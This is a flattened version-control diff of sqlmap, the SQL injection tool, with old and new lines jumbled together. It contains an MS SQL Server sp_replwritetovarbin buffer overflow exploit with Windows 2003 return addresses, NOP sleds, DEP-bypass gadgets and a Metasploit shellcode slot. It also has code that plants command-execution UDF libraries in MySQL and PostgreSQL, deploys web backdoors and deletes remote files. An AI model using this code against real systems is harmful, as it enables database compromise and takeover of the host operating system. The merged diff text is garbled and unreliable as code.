# 2003 Service Pack 2 updated at 05/2009
"2003-2": ( "CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)" )
# 2003 Service Pack 2 updated at 09/2009
#"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ),
}
addrs = None
for versionSp, data in returns.items():
version, sp = versionSp.split("-")
sp = int(sp)
if kb.osVersion == version and kb.osSP == sp: if kb.osVersion == version and kb.osSP == sp:
retAddr = address addrs = data
break break
if retAddr == None: if addrs is None:
errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg = "sqlmap can not exploit the stored procedure buffer "
errMsg += "overflow because it does not have a valid return " errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows " errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
shellcodeChar = ""
hexStr = binascii.hexlify(self.shellcodeString[:-1])
for hexPair in range(0, len(hexStr), 2):
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
shellcodeChar = shellcodeChar[:-1]
self.spExploit = """ self.spExploit = """
DECLARE @buf NVARCHAR(4000), DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4), @val NVARCHAR(4),
@counter INT @counter INT
SET @buf = ' SET @buf = '
declare @retcode int, DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
@end_offset int, EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
@vb_buffer varbinary,
@vb_bufferlen int
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41) SET @val = CHAR(0x41)
SET @counter = 0 SET @counter = 0
WHILE @counter < 3320 WHILE @counter < 3320
BEGIN BEGIN
SET @counter = @counter + 1 SET @counter = @counter + 1
IF @counter = 411 IF @counter = 411
BEGIN BEGIN
/* Return address */ /* pointer to call [ecx+8] */
SET @buf = @buf + %s SET @buf = @buf + %s
/* Nopsled */ /* push ebp, pop esp, ret 4 */
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
/* Metasploit shellcode stage 1 */ /* push ecx, pop esp, pop ebp, retn 8 */
SET @buf = @buf + %s SET @buf = @buf + %s
/* Unroll the stack and return */ /* Garbage */
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0xc3)
SET @counter = @counter + 302 /* retn 1c */
SET @val = CHAR(0x43) SET @buf = @buf + %s
CONTINUE
END /* retn 1c */
SET @buf = @buf + @val SET @buf = @buf + %s
/* anti DEP */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
/* Metasploit shellcode */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
END END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf EXEC master..sp_executesql @buf
""" % (retAddr, self.shellcodeChar) """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
self.spExploit = urlencode(self.spExploit, convall=True) self.spExploit = urlencode(self.spExploit, convall=True)

View File

@@ -33,7 +33,6 @@ from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -62,8 +61,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
""" """
def __init__(self): def __init__(self):
self.__basedir = None self.__basedir = None
self.excludeDbsList = MYSQL_SYSTEM_DBS self.__datadir = None
self.excludeDbsList = MYSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF return data-type
"sys_exec": { "return": "int" },
"sys_eval": { "return": "string" },
"sys_bineval": { "return": "int" }
}
Enumeration.__init__(self, "MySQL") Enumeration.__init__(self, "MySQL")
Filesystem.__init__(self) Filesystem.__init__(self)
@@ -368,11 +374,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
infoMsg = "the back-end DBMS operating system is %s" % kb.os infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg) logger.info(infoMsg)
if detailed == False:
self.cleanup(onlyFileTbl=True)
return
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
@@ -483,119 +484,94 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.debug(debugMsg) logger.debug(debugMsg)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile)) inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
if confirm == True: if confirm == True:
self.askCheckWrittenFile(wFile, dFile, fileType) self.askCheckWrittenFile(wFile, dFile, fileType)
def udfInit(self): def udfSetRemotePath(self):
self.getVersionFromBanner() self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"] banVer = kb.bannerFp["dbmsVersion"]
dFile = None
wFile = paths.SQLMAP_UDF_PATH
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
# On Windows
if kb.os == "Windows": if kb.os == "Windows":
wFile += "/mysql/windows/lib_mysqludf_sys.dll" # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
libExt = "dll" if banVer >= "5.1.19":
else: if self.__basedir is None:
wFile += "/mysql/linux/lib_mysqludf_sys.so" logger.info("retrieving MySQL base directory absolute path")
libExt = "so"
for udf in ( "sys_exec", "sys_eval" ): # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
if udf in self.createdUdf: self.__basedir = inject.getValue("SELECT @@basedir")
continue self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
logger.info("checking if %s UDF already exist" % udf) if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
message = "%s UDF already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output in ("y", "Y"):
self.udfToCreate.add(udf)
else:
self.udfToCreate.add(udf)
if len(self.udfToCreate) > 0:
# On Windows
if kb.os == "Windows":
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19":
if self.__basedir == None:
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
kb.os = "Windows"
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
datadir = "."
datadir = os.path.normpath(datadir.replace("\\", "/"))
if re.search("[\w]\:\/", datadir, re.I):
kb.os = "Windows" kb.os = "Windows"
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
# C:\WINDOWS\system32, @@basedir\bin or @@datadir self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
dFile = "%s/%s.%s" % (datadir, lib, libExt)
# On Linux logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else: else:
# The SO can be in either /lib, /usr/lib or one of the #logger.debug("retrieving MySQL data directory absolute path")
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
# TODO: test with plugins folder on MySQL >= 5.1.19
dFile = "/usr/lib/%s.%s" % (lib, libExt)
self.writeFile(wFile, dFile, "binary", False) # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir")
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ): # NOTE: specifying the relative path as './udf.dll'
if udf in self.createdUdf: # saves in @@datadir on both MySQL 4.1 and MySQL 5.0
continue self.__datadir = "."
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
if udf in self.udfToCreate: if re.search("[\w]\:\/", self.__datadir, re.I):
logger.info("creating %s UDF from the binary UDF file" % udf) kb.os = "Windows"
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
inject.goStacked("DROP FUNCTION %s" % udf) # C:\WINDOWS\system32, @@basedir\bin or @@datadir
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt)) self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
else:
logger.debug("keeping existing %s UDF as requested" % udf) # On Linux
else:
# The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
# TODO: test with plugins folder on MySQL >= 5.1.19
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
ret = inpRet["return"]
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
self.createdUdf.add(udf) self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
self.udfSharedLibExt = "so"
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
def uncPathRequest(self): def uncPathRequest(self):
if kb.stackedTest == False: if kb.stackedTest == False:

View File

@@ -34,7 +34,6 @@ from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -63,6 +62,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
def __init__(self): def __init__(self):
self.excludeDbsList = PGSQL_SYSTEM_DBS self.excludeDbsList = PGSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF parameters' input data-type and return data-type
"sys_exec": {
"input": [ "text" ],
"return": "int4"
},
"sys_eval": {
"input": [ "text" ],
"return": "text"
},
"sys_bineval": {
"input": [ "text" ],
"return": "int4"
}
}
Enumeration.__init__(self, "PostgreSQL") Enumeration.__init__(self, "PostgreSQL")
Filesystem.__init__(self) Filesystem.__init__(self)
@@ -252,15 +266,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
infoMsg = "fingerprinting the back-end DBMS operating system" infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg) logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)") self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw' # Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner # patterns within the banner
osWindows = ( " Visual C++", " mingw" ) osWindows = ( " Visual C++", "mingw" )
for osPattern in osWindows: for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0" query += "LIKE '%" + osPattern + "%')>0"
query = agent.forgeCaseStatement(query) query = agent.forgeCaseStatement(query)
@@ -275,11 +289,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
infoMsg = "the back-end DBMS operating system is %s" % kb.os infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg) logger.info(infoMsg)
if detailed == False:
self.cleanup(onlyFileTbl=True)
return
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
@@ -408,7 +417,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# NOTE: lo_export() exports up to only 8192 bytes of the file # NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field) # (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile)) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
if confirm == True: if confirm == True:
self.askCheckWrittenFile(wFile, dFile, fileType) self.askCheckWrittenFile(wFile, dFile, fileType)
@@ -416,13 +425,46 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
def udfInit(self): def udfSetRemotePath(self):
# On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
# On Linux
else:
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
self.getVersionFromBanner() self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"] banVer = kb.bannerFp["dbmsVersion"]
dFile = None
wFile = paths.SQLMAP_UDF_PATH
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
if banVer >= "8.3": if banVer >= "8.3":
majorVer = "8.3" majorVer = "8.3"
@@ -430,72 +472,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
majorVer = "8.2" majorVer = "8.2"
if kb.os == "Windows": if kb.os == "Windows":
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
libExt = "dll" self.udfSharedLibExt = "dll"
else: else:
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
libExt = "so" self.udfSharedLibExt = "so"
for udf in ( "sys_exec", "sys_eval" ):
if udf in self.createdUdf:
continue
logger.info("checking if %s UDF already exist" % udf)
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
message = "%s UDF already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output in ("y", "Y"):
self.udfToCreate.add(udf)
else:
self.udfToCreate.add(udf)
if len(self.udfToCreate) > 0:
# On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
dFile = "%s.%s" % (lib, libExt)
# On Linux
else:
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
dFile = "/tmp/%s.%s" % (lib, libExt)
self.writeFile(wFile, dFile, "binary", False)
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
if udf in self.createdUdf:
continue
if udf in self.udfToCreate:
logger.info("creating %s UDF from the binary UDF file" % udf)
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
else:
logger.debug("keeping existing %s UDF as requested" % udf)
self.createdUdf.add(udf)
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
def uncPathRequest(self): def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")

View File

@@ -46,12 +46,15 @@ class Miscellaneous:
if kb.os == "Windows": if kb.os == "Windows":
# NOTES: # NOTES:
# #
# * MySQL runs by default as SYSTEM and the system-wide # * The system-wide temporary files directory is
# temporary files directory is C:\WINDOWS\Temp # C:\WINDOWS\Temp
#
# * MySQL runs by default as SYSTEM
# #
# * PostgreSQL runs by default as postgres user and the # * PostgreSQL runs by default as postgres user and the
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp, # temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
# however the system-wide folder is writable too # however the system-wide folder is writable too
#
#infoMsg = "retrieving remote absolute path of temporary files " #infoMsg = "retrieving remote absolute path of temporary files "
#infoMsg += "directory" #infoMsg += "directory"
#logger.info(infoMsg) #logger.info(infoMsg)
@@ -70,12 +73,28 @@ class Miscellaneous:
setRemoteTempPath() setRemoteTempPath()
def delRemoteFile(self, tempFile, doubleslash=False):
self.checkDbmsOs()
if kb.os == "Windows":
if doubleslash is True:
tempFile = tempFile.replace("/", "\\\\")
else:
tempFile = tempFile.replace("/", "\\")
cmd = "del /F /Q %s" % tempFile
else:
cmd = "rm -f %s" % tempFile
self.execCmd(cmd, forgeCmd=True)
def createSupportTbl(self, tblName, tblField, tblType): def createSupportTbl(self, tblName, tblField, tblType):
inject.goStacked("DROP TABLE %s" % tblName) inject.goStacked("DROP TABLE %s" % tblName)
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def cleanup(self, onlyFileTbl=False): def cleanup(self, onlyFileTbl=False, udfDict=None):
""" """
Cleanup database from sqlmap create tables and functions Cleanup database from sqlmap create tables and functions
""" """
@@ -108,17 +127,21 @@ class Miscellaneous:
if kb.dbms == "Microsoft SQL Server": if kb.dbms == "Microsoft SQL Server":
return return
for udf in ( "sys_exec", "sys_eval" ): if udfDict is None:
message = "do you want to remove %s UDF? [Y/n] " % udf udfDict = self.sysUdfs
for udf, inpRet in udfDict.items():
message = "do you want to remove UDF '%s'? [Y/n] " % udf
output = readInput(message, default="Y") output = readInput(message, default="Y")
if not output or output in ("y", "Y"): if not output or output in ("y", "Y"):
dropStr = "DROP FUNCTION %s" % udf dropStr = "DROP FUNCTION %s" % udf
if kb.dbms == "PostgreSQL": if kb.dbms == "PostgreSQL":
dropStr += "(text)" inp = ", ".join(i for i in inpRet["input"])
dropStr += "(%s)" % inp
logger.debug("removing %s UDF" % udf) logger.debug("removing UDF '%s'" % udf)
inject.goStacked(dropStr) inject.goStacked(dropStr)
logger.info("database management system cleanup finished") logger.info("database management system cleanup finished")

View File

@@ -42,13 +42,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.takeover.abstraction import Abstraction from lib.takeover.abstraction import Abstraction
from lib.takeover.dep import DEP
from lib.takeover.metasploit import Metasploit from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry from lib.takeover.registry import Registry
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
class Takeover(Abstraction, DEP, Metasploit, Registry): class Takeover(Abstraction, Metasploit, Registry):
""" """
This class defines generic OS takeover functionalities for plugins. This class defines generic OS takeover functionalities for plugins.
""" """
@@ -59,7 +58,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
self.cmdFromChurrasco = False self.cmdFromChurrasco = False
Abstraction.__init__(self) Abstraction.__init__(self)
DEP.__init__(self)
def __webBackdoorRunCmd(self, backdoorUrl, cmd): def __webBackdoorRunCmd(self, backdoorUrl, cmd):
@@ -165,9 +163,9 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
logger.warn("invalid value, it must be 1 or 3") logger.warn("invalid value, it must be 1 or 3")
backdoorName = "backdoor.%s" % language backdoorName = "backdoor.%s" % language
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.%s" % language uploaderName = "uploader.%s" % language
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in directories: for directory in directories:
# Upload the uploader agent # Upload the uploader agent
@@ -183,7 +181,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/")) requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName) uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
